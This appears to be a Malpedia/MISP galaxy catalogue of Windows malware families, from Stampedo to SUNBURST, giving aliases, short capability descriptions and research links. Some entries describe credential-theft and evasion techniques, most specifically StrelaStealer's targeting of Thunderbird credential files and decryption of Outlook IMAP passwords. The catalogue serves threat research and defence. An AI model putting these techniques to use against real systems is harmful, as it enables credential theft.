https://www.bleepingcomputer.com/news/security/stalinlocker-deletes-your-files-unless-you-enter-the-right-code/

Stampedo

The tag is: *misp-galaxy:malpedia="Stampedo"*

Stampedo is also known as:

Table 5231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo
https://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/

StarCruft

The tag is: *misp-galaxy:malpedia="StarCruft"*

StarCruft is also known as:

Table 5232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft
https://securelist.com/operation-daybreak/75100/

StarLoader

The tag is: *misp-galaxy:malpedia="StarLoader"*

StarLoader is also known as:

Table 5233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

StarsyPound

The tag is: *misp-galaxy:malpedia="StarsyPound"*

StarsyPound is also known as:

Table 5234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

StartPage

Potentially unwanted program that changes the startpage of browsers to induce ad impressions.

The tag is: *misp-galaxy:malpedia="StartPage"*

StartPage is also known as:

- Easy Television Access Now

Table 5235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage
https://www.bleepingcomputer.com/virus-removal/remove-search-searchetan.com-chrome-new-tab-page

STASHLOG

Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.

The tag is: *misp-galaxy:malpedia="STASHLOG"*

STASHLOG is also known as:

Table 5236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive
https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html
https://twitter.com/ESETresearch/status/1433819369784610828

https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques

Statc

This malicious software gains access to a victim's data by appearing like an authentic Google advertisement. Once the victim clicks on the advertisement, their operating system is infected with malicious code that steals sensitive data like credentials from web browsers, credit card information, and cryptocurrency wallet details. Unauthorized access to a victim's computer system can have enormous personal and professional repercussions. Victims become easy targets for identity theft, cryptojacking, and other forms of malware attacks. At the enterprise level, a Statc Stealer breach can result in financial loss, reputational damage, legal liabilities, and regulatory penalties.

The tag is: *misp-galaxy:malpedia="Statc"*

Statc is also known as:

- Statc Stealer
- Static Stealer

Table 5237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.statc
https://www.zscaler.com/blogs/security-research/statc-stealer-decoding-elusive-malware-threat

STATICPLUGIN

According to Google, this is a digitally signed downloader written in Delphi, used for in-memory deployment of Mustang Panda's PlugX.

The tag is: *misp-galaxy:malpedia="STATICPLUGIN"*

STATICPLUGIN is also known as:

Table 5238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.staticplugin
https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats

StealBit

This is a stealer used by LockBit 2.0.

The tag is: *misp-galaxy:malpedia="StealBit"*

StealBit is also known as:

- Corrempa

Table 5239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool
https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis
https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/
https://twitter.com/r3c0nst/status/1425875923606310913

Stealc

Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.

Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.

The tag is: *misp-galaxy:malpedia="Stealc"*

Stealc is also known as:

Table 5240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
https://www.zscaler.com/blogs/security-research/i-stealc-you-tracking-rapid-changes-stealc
https://www.esentire.com/blog/mintsloader-stealc-and-boinc-delivery
https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_config_extractor.ipynb
https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html
https://www.youtube.com/watch?v=-1nVs-O1ubw
https://blog.lexfo.fr/StealC_malware_analysis_part1.html

https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://www.recordedfuture.com/the-travels-of-markopolo-self-proclaimed-meeting-software-vortax-spreads-infostealers
https://www.trendmicro.com/en_us/research/25/e/tiktok-videos-infostealers.html
https://securelist.com/tusk-infostealers-campaign/113367/
https://www.vmray.com/cyber-security-blog/stealc-a-new-stealer-emerges-in-2023/
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://www.esentire.com/blog/stealc-delivered-via-deceptive-google-sheets
https://blog.lexfo.fr/StealC_malware_analysis_part3.html
https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/
https://hunt.io/blog/russian-speaking-actors-impersonate-etf-distribute-stealc-pyramid-c2
https://cocomelonc.github.io/book/2023/12/13/malwild-book.html
https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/
https://glyc3rius.github.io/2023/10/stealc/
https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting
https://trac-labs.com/autopsy-of-a-failed-stealer-stealc-v2-a4e32da04396
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://blog.lexfo.fr/StealC_malware_analysis_part2.html
https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af
https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_string_decryption.py
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/
https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/StealC/StealC_Technical_Analysis_Report.pdf

Stealerium

According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP

address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor's addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.

The tag is: *misp-galaxy:malpedia="Stealerium"*

Stealerium is also known as:

Table 5241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium
https://resources.securityscorecard.com/research/stealerium-detailed-analysis
https://github.com/Stealerium/Stealerium
https://2655225.fs1.hubspotusercontent-na1.net/hubfs/2655225/0.0%20Cegeka%20(new)/2.%20PDFs/2.1%20Whitepaper/Corporate/whitepaper_StealeriumPy.pdf?hsCtaAttrib=191559691703

Stealer0x3401

According to PTSecurity, this stealer harvests system information which is then RC4 encrypted and Base64 encoded before sending it to the C2 server.

The tag is: *misp-galaxy:malpedia="Stealer0x3401"*

Stealer0x3401 is also known as:

Table 5242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks

STEALHOOK

The tag is: *misp-galaxy:malpedia="STEALHOOK"*

STEALHOOK is also known as:

Table 5243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealhook

https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks-uae-gulf-regions.html
https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html

StealthWorker Go

According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target's backend. Hacker's commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target's system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.

The tag is: *misp-galaxy:malpedia="StealthWorker Go"*

StealthWorker Go is also known as:

Table 5244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker
https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/
https://www.bleepingcomputer.com/news/security/synology-warns-of-malware-infecting-nas-devices-with-ransomware/

Stealth Soldier

Check Point Research observed a wave of highly-targeted espionage attacks in Libya that utilize a new custom modular backdoor. Stealth Soldier malware is an undocumented backdoor that primarily operates surveillance functions such as file exfiltration, screen and microphone recording, keystroke logging and stealing browser information.

The tag is: *misp-galaxy:malpedia="Stealth Soldier"*

Stealth Soldier is also known as:

Table 5245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealth_soldier
https://research.checkpoint.com/2023/stealth-soldier-backdoor-used-in-targeted-espionage-attacks-in-north-africa/

SteamHide

Malware written in .NET that hides in Steam profile pictures. Tries to evade virtualization through detection if it is executed within VMWare or VirtualBox.

The tag is: *misp-galaxy:malpedia="SteamHide"*

SteamHide is also known as:

Table 5246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.steamhide
https://www.gdatasoftware.com/blog/2021/06/36861-malware-hides-in-steam-profile-images
https://www.gdatasoftware.com/blog/steamhide-malware-in-profile-images

StegoLoader

The tag is: *misp-galaxy:malpedia="StegoLoader"*

StegoLoader is also known as:

Table 5247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader
https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer
https://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html

Stinger

The tag is: *misp-galaxy:malpedia="Stinger"*

Stinger is also known as:

Table 5248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger

STONEBOAT

According to Mandiant, STONEBOAT is an installer for DICELOADER. It is written in .NET and drops its payload in-memory.

The tag is: *misp-galaxy:malpedia="STONEBOAT"*

STONEBOAT is also known as:

Table 5249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stoneboat
https://www.mandiant.com/resources/blog/evolution-of-fin7

StoneDrill

The tag is: *misp-galaxy:malpedia="StoneDrill"*

StoneDrill is also known as:

Table 5250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

STOP

STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.

The tag is: *misp-galaxy:malpedia="STOP"*

STOP is also known as:

- Djvu
- KeyPass

Table 5251. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.stop
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://angle.ankura.com/post/102het9/the-stop-ransomware-variant
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list
https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/
https://glyc3rius.github.io/2024/02/stop/
https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/
https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://intel471.com/blog/privateloader-malware
https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b
https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view
https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/
https://www.gdatasoftware.com/blog/2022/01/malware-vaccines
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://securelist.com/keypass-ransomware/87412/
https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads

StormKittyRAT

According to unpac.me, StormKitty is a Remote Access Trojan (RAT), written in C#, primarily designed to perform extensive system reconnaissance and data collection. It leverages Windows Management Instrumentation for execution and conducts a thorough discovery of system information, including querying the registry, identifying system owners and users, and discovering network configurations. StormKitty is also capable of collecting data from information repositories and performing file and directory discovery. For defense evasion, it employs techniques such as

obfuscating files or information and checks for virtualization or sandbox environments to avoid detection. These capabilities enable StormKitty to maintain persistence and gather sensitive information from compromised systems.

The tag is: *misp-galaxy:malpedia="StormKittyRAT"*

StormKittyRAT is also known as:

Table 5252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stormkitty_rat
https://web.archive.org/web/20230403114012/https://github.com/LimerBoy/StormKitty

Stormwind

The tag is: *misp-galaxy:malpedia="Stormwind"*

Stormwind is also known as:

Table 5253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind
https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/

STOWAWAY

According to Mandiant, STOWAWAY is a publicly available backdoor and proxy. The project supports several types of communication like SSH, socks5. Backdoor component supports upload and download of files, remote shell and basic information gathering.

The tag is: *misp-galaxy:malpedia="STOWAWAY"*

STOWAWAY is also known as:

Table 5254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway
https://github.com/ph4ntonn/Stowaway
https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html
https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
https://blog.exatrack.com/melofee/
https://businessinsights.bitdefender.com/eggstreme-fileless-malware-cyberattack-apac

Stration

The tag is: *misp-galaxy:malpedia="Stration"*

Stration is also known as:

Table 5255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stration

STRATOFEAR

The tag is: *misp-galaxy:malpedia="STRATOFEAR"*

STRATOFEAR is also known as:

Table 5256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stratofear
https://www.mandiant.com/resources/blog/north-korea-supply-chain

StrelaStealer

According to PCRisk, StrelaStealer seeks to extract email account log-in credentials. At the time of writing, this program targets Microsoft Outlook and Mozilla Thunderbird email clients.

Following successful infiltration, StrelaStealer searches for "logins.json" (account/password) and "key4.db" (password database) within the "%APPDATA%\Thunderbird\Profiles\" directory - by doing so, it can acquire the credentials for Thunderbird.

Alternatively, if Outlook credentials are targeted - StrelaStealer seeks out the Windows Registry from where it can retrieve the program's key and "IMAP User", "IMAP Server", as well as the "IMAP Password" values. Since the latter is kept in an encrypted form, the malicious program employs the Windows CryptUnprotectData feature to decrypt it prior to exfiltration.

The tag is: *misp-galaxy:malpedia="StrelaStealer"*

StrelaStealer is also known as:

Table 5257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer
https://cert-agid.gov.it/news/analisi-tecnica-e-considerazioni-sul-malware-strela/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/proton66-part-2-compromised-wordpress-pages-and-malware-campaigns/

https://cip.gov.ua/services/cm/api/attachment/download?id=71278
https://www.ibm.com/think/x-force/strela-stealer-todays-invoice-tomorrows-phish
https://www.logpoint.com/en/blog/strela-a-newcomer-in-stealer-family/
https://blog.sonicwall.com/en-us/2024/06/strelastealer-resurgence-tracking-a-javascript-driven-credential-stealer-targeting-europe/
https://blog.sonicwall.com/en-us/2024/04/updated-strelastealer-targeting-european-countries/
https://research.openanalysis.net/strelastealer/stealer/2023/05/07/streala.html
https://blogs.infoblox.com/threat-intelligence/detour-dog-dns-malware-powers-strela-stealer-campaigns/
https://unit42.paloaltonetworks.com/strelastealer-campaign/
https://www.aryaka.com/blog/strela-stealer-malware-analysis/
https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc

Stresspaint

The tag is: *misp-galaxy:malpedia="Stresspaint"*

Stresspaint is also known as:

Table 5258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint
https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/
https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/
https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/
https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/
https://vblocalhost.com/uploads/VB2020-Karve-Urgilez.pdf

StrifeWater RAT

The tag is: *misp-galaxy:malpedia="StrifeWater RAT"*

StrifeWater RAT is also known as:

Table 5259. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat
https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations
https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff
https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard
https://securelist.com/a-hack-in-hand-is-worth-two-in-the-bush/110794/

StrikeSuit Gift

The tag is: *misp-galaxy:malpedia="StrikeSuit Gift"*

StrikeSuit Gift is also known as:

Table 5260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift
https://assets.stairwell.com/hubfs/Marketing-Assets/Stairwell-threat-report-The-origin-of-APT32-macros.pdf
https://ti.qianxin.com/blog/articles/english-version-of-new-approaches-utilized-by-oceanLotus-to-target-vietnamese-environmentalist/

StrongPity

According to Mitre, StrongPity is an information stealing malware used by PROMETHIUM.

The tag is: *misp-galaxy:malpedia="StrongPity"*

StrongPity is also known as:

Table 5261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity
https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/
https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity
https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/
https://blogs.blackberry.com/en/2021/11/zebra2104

https://twitter.com/physicaldrive0/status/786293008278970368
https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara
https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://0xthreatintel.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4
https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/

Stuxnet

The tag is: *misp-galaxy:malpedia="Stuxnet"*

Stuxnet is also known as:

Table 5262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet
https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757/202304114e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf
https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper
https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147
http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf
https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security

https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf
https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf
https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html
https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/

Subzero

The tag is: *misp-galaxy:malpedia="Subzero"*

Subzero is also known as:

- Corelump
- Jumplump

Table 5263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero
https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/
https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html
https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf
https://socradar.io/threats-of-commercialized-malware-knotweed/
https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/

SUCEFUL

The tag is: *misp-galaxy:malpedia="SUCEFUL"*

SUCEFUL is also known as:

Table 5264. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.suceful
https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

Sugar

Ransomware, written in Delphi.

The tag is: *misp-galaxy:malpedia="Sugar"*

Sugar is also known as:

Table 5265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar
https://cyware.com/news/newly-found-sugar-ransomware-is-now-being-offered-as-raas-641cfa69
https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb
https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49

SUGARDUMP

According to Mandiant, SUGARDUMP is a credential harvesting utility, capable of password collection from Chromium-based browsers. There are also versions to exfiltrate data via SMTP and HTTP.

The tag is: *misp-galaxy:malpedia="SUGARDUMP"*

SUGARDUMP is also known as:

Table 5266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sugardump
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

SUGARRUSH

According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.

The tag is: *misp-galaxy:malpedia="SUGARRUSH"*

SUGARRUSH is also known as:

Table 5267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarrush
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

SUNBURST

FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.

The tag is: *misp-galaxy:malpedia="SUNBURST"*

SUNBURST is also known as:

- Solorigate

Table 5268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst
https://www.solarwinds.com/securityadvisory
https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf
https://www.mfa.gov.lv/en/news/latest-news/67813-latvia-s-statement-following-the-announcement-by-the-united-states-of-actions-to-respond-to-the-russian-federation-s-destabilizing-activities
https://www.prevasio.io/blog/sunburst-backdoor-a-deeper-look-into-the-solarwinds-supply-chain-malware
https://www.solarwinds.com/securityadvisory/faq
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/Solorigate.B!dha
https://blog.truesec.com/2020/12/17/the-solarwinds-orion-sunburst-supply-chain-attack/
https://mp.weixin.qq.com/s/lh7y_KHUxag_-pcFBC7d0Q
https://www.trustedsec.com/blog/solarwinds-backdoor-sunburst-incident-response-playbook/?hss_channel=tw-403811306

https://thenewstack.io/behind-the-scenes-of-the-sunburst-attack/

https://blog.apiiro.com/detect-and-prevent-the-solarwinds-build-time-code-injection-attack

https://www.microsoft.com/en-us/security/business/threat-protection/solorigate-detection-guidance

https://youtu.be/SW8kVkwDOrc?t=24706

https://blog.gigamon.com/2021/07/27/ghosts-on-the-wire-expanding-conceptions-of-network-anomalies/

https://www.consilium.europa.eu/en/press/press-releases/2021/04/15/declaration-by-the-high-representative-on-behalf-of-the-european-union-expressing-solidarity-with-the-united-states-on-the-impact-of-the-solarwinds-cyber-operation

https://www.mandiant.com/media/10916/download

https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/

https://vxug.fakedoma.in/samples/Exotic/UNC2452/SolarWinds%20Breach/

https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/

https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718

https://twitter.com/cybercdh/status/1338885244246765569

https://twitter.com/KimZetter/status/1338305089597964290

https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/

https://www.trustedsec.com/blog/solarwinds-orion-and-unc2452-summary-and-recommendations/

https://www.nato.int/cps/en/natolive/official_texts_183168.htm?selectedLocale=en

https://github.com/fireeye/Mandiant-Azure-AD-Investigator

https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/

https://netresec.com/?b=212a6ad

https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/

https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach

https://www.fireeye.com/blog/products-and-services/2021/02/light-in-the-dark-hunting-for-sunburst.html

https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack

https://www.prevasio.io/blog/sunburst-backdoor-part-ii-dga-the-list-of-victims

